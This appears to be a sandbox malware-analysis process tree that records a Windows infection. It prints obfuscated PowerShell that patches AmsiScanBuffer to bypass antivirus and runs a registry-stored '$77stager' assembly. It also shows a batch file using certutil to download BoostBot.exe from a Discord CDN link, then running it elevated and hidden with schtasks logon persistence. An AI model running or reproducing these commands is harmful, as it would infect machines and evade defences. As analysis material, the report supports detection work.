C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1088

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:3036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ZzqpaqcSBnrT{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$qMRvYQxVScxnqX,[Parameter(Position=1)][Type]$DbEqhkFLNK)$nsNpTltMhLn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+'l'+''+'e'+''+[Char](99)+''+[Char](116)+'e'+'d'+''+'D'+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+'M'+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+'T'+'y'+''+[Char](112)+'e',''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s'+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+''+'c'+','+[Char](83)+''+'e'+''+[Char](97)+''+'l'+'ed'+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+'A'+''+'u'+''+[Char](116)+'oCl'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$nsNpTltMhLn.DefineConstructor(''+'R'+''+[Char](84)+'Sp'+'e'+''+'c'+'i'+'a'+''+'l'+'N'+'a'+''+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+''+'i'+''+'d'+'e'+'B'+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+'u'+[Char](98)+''+[Char](108)+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$qMRvYQxVScxnqX).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+''+'m'+'e'+[Char](44)+''+'M'+''+'a'+''+'n'+''+'a'+'g'+[Char](101)+''+[Char](100)+'');$nsNpTltMhLn.DefineMethod(''+[Char](73)+'n'+'v'+''+[Char](111)+''+'k'+''+'e'+'',''+[Char](80)+''+'u'+''+'b'+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+'H'+'ide'+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+','+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+'ot'+','+''+[Char](86)+'i'+'r'+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$DbEqhkFLNK,$qMRvYQxVScxnqX).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+'ge'+'d'+'');Write-Output $nsNpTltMhLn.CreateType();}$LSgFxOaFlAScm=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+'m'+[Char](46)+''+[Char](100)+'l'+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+'.'+'Wi'+[Char](110)+''+'3'+''+[Char](50)+'.'+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+''+'f'+'e'+'N'+'a'+'t'+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+'t'+'h'+'o'+''+[Char](100)+''+[Char](115)+'');$QXMazkTOmigOwI=$LSgFxOaFlAScm.GetMethod(''+'G'+'etP'+[Char](114)+''+'o'+''+'c'+'Ad'+'d'+''+[Char](114)+''+[Char](101)+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+'a'+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$IboAcloUaaduVeQsACp=ZzqpaqcSBnrT @([String])([IntPtr]);$kZnRNMWztoNXTIaiskjwMa=ZzqpaqcSBnrT @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$flewVmahyHt=$LSgFxOaFlAScm.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+'l'+[Char](101)+''+'H'+''+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'er'+[Char](110)+'e'+'l'+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](100)+'ll')));$pZTVdhcvnVduFc=$QXMazkTOmigOwI.Invoke($Null,@([Object]$flewVmahyHt,[Object](''+[Char](76)+'oa'+[Char](100)+''+[Char](76)+'i'+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+''+[Char](65)+'')));$RyUSIOmDAmpnhxOTF=$QXMazkTOmigOwI.Invoke($Null,@([Object]$flewVmahyHt,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'al'+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+''+'e'+'c'+[Char](116)+'')));$mkRhfvN=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pZTVdhcvnVduFc,$IboAcloUaaduVeQsACp).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+'i'+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l');$xtzyEzpKnlpxgyTgx=$QXMazkTOmigOwI.Invoke($Null,@([Object]$mkRhfvN,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+'f'+[Char](101)+''+'r'+'')));$vYhSdMJkvG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RyUSIOmDAmpnhxOTF,$kZnRNMWztoNXTIaiskjwMa).Invoke($xtzyEzpKnlpxgyTgx,[uint32]8,4,[ref]$vYhSdMJkvG);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$xtzyEzpKnlpxgyTgx,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RyUSIOmDAmpnhxOTF,$kZnRNMWztoNXTIaiskjwMa).Invoke($xtzyEzpKnlpxgyTgx,[uint32]8,0x20,[ref]$vYhSdMJkvG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+''+[Char](84)+'W'+'A'+''+[Char](82)+'E').GetValue('$'+[Char](55)+''+'7'+''+'s'+''+'t'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1592

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ScFyoeWuUeGR{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$zZmgxnMADZDFMD,[Parameter(Position=1)][Type]$zzqYBITArY)$gZOExmmvHsJ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+[Char](108)+'e'+'c'+'tedD'+'e'+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+[Char](101)+'m'+[Char](111)+''+'r'+''+'y'+'Modul'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+'t'+[Char](101)+'Type',''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+','+[Char](80)+''+[Char](117)+''+[Char](98)+'lic'+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+'l'+''+'e'+''+[Char](100)+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+'la'+[Char](115)+'s,'+'A'+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+'C'+'l'+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$gZOExmmvHsJ.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+'a'+''+[Char](108)+''+'N'+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+'eB'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+'P'+'ub'+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$zZmgxnMADZDFMD).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'t'+[Char](105)+''+'m'+'e,'+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$gZOExmmvHsJ.DefineMethod(''+'I'+'n'+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+'e'+'B'+''+[Char](121)+'S'+'i'+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+'Vi'+'r'+'t'+[Char](117)+''+'a'+'l',$zzqYBITArY,$zZmgxnMADZDFMD).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'nt'+[Char](105)+'m'+'e'+''+','+''+'M'+'an'+'a'+'g'+[Char](101)+''+[Char](100)+'');Write-Output $gZOExmmvHsJ.CreateType();}$GRekNZzPwYKiD=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+'so'+[Char](102)+''+[Char](116)+'.'+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+'.'+''+'U'+''+'n'+''+[Char](115)+''+'a'+''+'f'+''+'e'+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+'o'+''+[Char](100)+'s');$UNgRdpllOOGoDe=$GRekNZzPwYKiD.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](99)+'A'+'d'+''+'d'+''+[Char](114)+'e'+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+'c,St'+[Char](97)+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GVEpAkoBrkJjWCLZUKa=ScFyoeWuUeGR @([String])([IntPtr]);$mYJbrzqxBAnWNBhnnWHkgc=ScFyoeWuUeGR @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$IyilwnrJeWS=$GRekNZzPwYKiD.GetMethod(''+[Char](71)+'e'+[Char](116)+'M'+'o'+'du'+'l'+'e'+'H'+'andl'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+'n'+[Char](101)+''+[Char](108)+''+'3'+''+'2'+''+[Char](46)+'d'+'l'+''+'l'+'')));$YYfqfofTSWmjOf=$UNgRdpllOOGoDe.Invoke($Null,@([Object]$IyilwnrJeWS,[Object](''+[Char](76)+''+[Char](111)+'a'+[Char](100)+''+[Char](76)+'i'+[Char](98)+'r'+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$JabjiaIuufBJaaWUK=$UNgRdpllOOGoDe.Invoke($Null,@([Object]$IyilwnrJeWS,[Object](''+[Char](86)+'irtu'+[Char](97)+''+'l'+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+'e'+'c'+''+[Char](116)+'')));$vcYtWLX=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YYfqfofTSWmjOf,$GVEpAkoBrkJjWCLZUKa).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+'l');$vhyCeINYwbAJmOzOG=$UNgRdpllOOGoDe.Invoke($Null,@([Object]$vcYtWLX,[Object](''+'A'+'ms'+[Char](105)+''+'S'+''+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+''+'r'+'')));$ptWoBtGVAL=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JabjiaIuufBJaaWUK,$mYJbrzqxBAnWNBhnnWHkgc).Invoke($vhyCeINYwbAJmOzOG,[uint32]8,4,[ref]$ptWoBtGVAL);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$vhyCeINYwbAJmOzOG,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JabjiaIuufBJaaWUK,$mYJbrzqxBAnWNBhnnWHkgc).Invoke($vhyCeINYwbAJmOzOG,[uint32]8,0x20,[ref]$ptWoBtGVAL);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue('$'+'7'+''+[Char](55)+''+'s'+''+'t'+'a'+'g'+'er')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4668

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:4816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:OsclgELuOhGg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$HJWjbvyboOzOdP,[Parameter(Position=1)][Type]$oALwqlRcFU)$DQmEgfEtWLy=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+'f'+''+'l'+''+'e'+''+'c'+''+'t'+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+'l'+'e'+''+[Char](103)+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+'r'+''+'y'+'M'+'o'+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+'D'+''+'e'+'l'+[Char](101)+'g'+'a'+'teT'+'y'+'p'+[Char](101)+'',''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+'P'+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+'ed'+','+''+[Char](65)+''+[Char](110)+''+'s'+''+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+','+'A'+'u'+''+'t'+'o'+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+'s'+'',[MulticastDelegate]);$DQmEgfEtWLy.DefineConstructor(''+[Char](82)+''+'T'+'S'+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+'N'+'a'+''+[Char](109)+''+'e'+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+''+'u'+'b'+'l'+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$HJWjbvyboOzOdP).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'ti'+'m'+'e'+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+'e'+[Char](100)+'');$DQmEgfEtWLy.DefineMethod('In'+[Char](118)+''+[Char](111)+''+[Char](107)+'e',''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+''+'c'+''+[Char](44)+'H'+'i'+''+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+''+[Char](105)+'g,'+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+'lo'+'t'+''+[Char](44)+''+'V'+''+'i'+''+'r'+'t'+'u'+'a'+[Char](108)+'',$oALwqlRcFU,$HJWjbvyboOzOdP).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $DQmEgfEtWLy.CreateType();}$akIsHeBWgncPg=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Syst'+[Char](101)+''+'m'+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+'so'+[Char](102)+''+[Char](116)+''+'.'+'Wi'+'n'+'3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+'e'+''+'t'+''+[Char](104)+'o'+[Char](100)+'s');$VtelYOStNXeQtd=$akIsHeBWgncPg.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+''+[Char](111)+'c'+'A'+'dd'+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+','+[Char](83)+'t'+[Char](97)+'t'+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$oQbwkLJmDpiwhtktNrR=OsclgELuOhGg @([String])([IntPtr]);$lvKXzdpYXBBvhIhpjAEDVg=OsclgELuOhGg @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$NhMoSJbEaKR=$akIsHeBWgncPg.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+''+'a'+''+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+'2'+[Char](46)+''+'d'+''+[Char](108)+'l')));$AMRxvhHZmkpuFG=$VtelYOStNXeQtd.Invoke($Null,@([Object]$NhMoSJbEaKR,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+'d'+'L'+'i'+''+[Char](98)+'r'+'a'+'r'+[Char](121)+''+[Char](65)+'')));$ARMhcaWxCyGUyUFxd=$VtelYOStNXeQtd.Invoke($Null,@([Object]$NhMoSJbEaKR,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+'t'+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+''+'e'+''+[Char](99)+''+[Char](116)+'')));$HialadU=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AMRxvhHZmkpuFG,$oQbwkLJmDpiwhtktNrR).Invoke(''+[Char](97)+'m'+'s'+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'');$OFIuTmPvgEwkvnqLY=$VtelYOStNXeQtd.Invoke($Null,@([Object]$HialadU,[Object]('A'+[Char](109)+'s'+[Char](105)+''+[Char](83)+'c'+[Char](97)+'n'+[Char](66)+'uf'+[Char](102)+'e'+[Char](114)+'')));$fKTJBLZpob=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ARMhcaWxCyGUyUFxd,$lvKXzdpYXBBvhIhpjAEDVg).Invoke($OFIuTmPvgEwkvnqLY,[uint32]8,4,[ref]$fKTJBLZpob);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$OFIuTmPvgEwkvnqLY,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ARMhcaWxCyGUyUFxd,$lvKXzdpYXBBvhIhpjAEDVg).Invoke($OFIuTmPvgEwkvnqLY,[uint32]8,0x20,[ref]$fKTJBLZpob);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('$7'+[Char](55)+''+[Char](115)+''+[Char](116)+'a'+[Char](103)+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
PID:4472

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:1248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1200

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1368

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1392

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1580

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1644

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1788

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1956

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1984

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2072

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2728

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2772

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3372

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3416

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fix.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:2488

C:\Windows\system32\certutil.exe
certutil -urlcache -split -f "https://cdn.discordapp.com/attachments/1237881664131174481/1239282786335064204/BoostBot.exe?ex=66425b89&is=66410a09&hm=76121e524db94e51397af0fa52812c443a6cb5a194da52bb2909deb394f90aee&" BoostBot.exe
3⤵
PID:2576

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Process -FilePath 'BoostBot.exe' -Verb RunAs"
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4956

C:\Users\Admin\AppData\Local\Temp\BoostBot.exe
"C:\Users\Admin\AppData\Local\Temp\BoostBot.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2604

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\BoostBot.exe" /rl HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:4924

C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"
5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4568

C:\Windows\SysWOW64\schtasks.exe
